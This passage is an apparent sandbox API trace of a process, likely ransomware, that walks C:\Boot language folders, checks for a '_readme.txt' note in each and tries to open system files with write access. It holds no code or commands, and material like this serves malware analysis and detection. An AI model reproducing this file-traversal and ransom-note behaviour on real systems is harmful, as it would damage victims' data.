Flags=0x0, Size=0x830) returned 0x3067040 [0122.545] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.545] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.545] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.545] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.545] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.545] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.545] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.545] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.545] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.545] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.545] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.545] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.545] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.545] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.545] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.545] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.546] PathFindFileNameW (pszPath="C:\\Boot\\nl-NL\\") returned="nl-NL\\" [0122.546] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0122.546] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.546] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.546] PathFindFileNameW (pszPath="") returned="" [0122.546] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76d60000 [0122.546] GetProcAddress (hModule=0x76d60000, lpProcName="SHGetFolderPathW") returned 0x76de5708 [0122.546] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x307ad38 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0122.546] FreeLibrary (hLibModule=0x76d60000) returned 1 [0122.546] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.546] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.546] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.546] PathAppendW (in: pszPath="C:\\Boot\\nl-NL\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\nl-NL\\_readme.txt") returned 1 [0122.546] PathFileExistsW (pszPath="C:\\Boot\\nl-NL\\_readme.txt") returned 1 [0122.546] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.547] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13bd6370, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bd6370, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.547] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.547] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13bd6370, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bd6370, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.547] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0122.547] PathFindExtensionW (pszPath="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned=".mui" [0122.547] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0122.547] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fddaa0 | out: hHeap=0x5b0000) returned 1 [0122.547] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13bd6370, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13bd6370, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bfc4d0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0122.547] PathFindExtensionW (pszPath="C:\\Boot\\nl-NL\\_readme.txt") returned=".txt" [0122.547] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fddaa0 | out: hHeap=0x5b0000) returned 1 [0122.547] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13bd6370, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13bd6370, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bfc4d0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0122.547] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.547] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.547] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.547] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.547] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.547] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.547] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.547] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.547] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.548] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.548] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.548] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.548] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.548] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.548] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.548] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.548] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.548] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.548] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.548] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.549] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.549] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.549] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.549] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.549] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.549] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.549] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.549] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.549] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.549] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.549] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.549] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.549] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.549] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.549] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.549] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.549] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.549] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.549] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.549] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.549] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.549] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.549] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.549] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.549] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.549] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.549] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.549] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.549] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.549] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.549] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.549] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.550] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.550] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.550] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.550] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.550] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.550] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.550] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.550] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.550] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.550] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.550] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.550] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.550] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.550] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.550] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.550] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.550] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.550] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.550] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.550] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.550] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.550] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.550] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.550] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.550] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.550] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.550] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.550] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.550] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.550] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.550] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.550] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.550] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.551] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.551] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.551] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.551] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.551] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.551] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.551] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.551] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.551] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.551] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.551] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.551] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.551] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.551] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.551] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.551] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.551] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.551] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.551] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.551] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.551] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.551] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.551] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.551] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.551] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.551] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.551] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.551] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.551] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.551] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.551] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.551] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.551] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.552] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.552] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.552] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.552] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.552] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.552] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.552] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.552] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.552] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.552] PathFindFileNameW (pszPath="C:\\Boot\\pl-PL\\") returned="pl-PL\\" [0122.552] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.552] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0122.552] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.552] PathFindFileNameW (pszPath="") returned="" [0122.552] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.552] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76d60000 [0122.552] GetProcAddress (hModule=0x76d60000, lpProcName="SHGetFolderPathW") returned 0x76de5708 [0122.552] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x800) returned 0x307ad38 [0122.552] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x307ad38 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0122.553] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x810) returned 0x30667b8 [0122.553] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.553] FreeLibrary (hLibModule=0x76d60000) returned 1 [0122.553] PathAppendW (in: pszPath="C:\\Boot\\pl-PL\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pl-PL\\_readme.txt") returned 1 [0122.553] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.553] PathFileExistsW (pszPath="C:\\Boot\\pl-PL\\_readme.txt") returned 1 [0122.553] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13bfc4d0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bfc4d0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.553] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13bfc4d0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bfc4d0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.553] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0122.553] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.553] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdda10 [0122.553] PathFindExtensionW (pszPath="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned=".mui" [0122.553] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0122.553] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13bfc4d0, ftCreationTime.dwHighDateTime=0x1d53559, 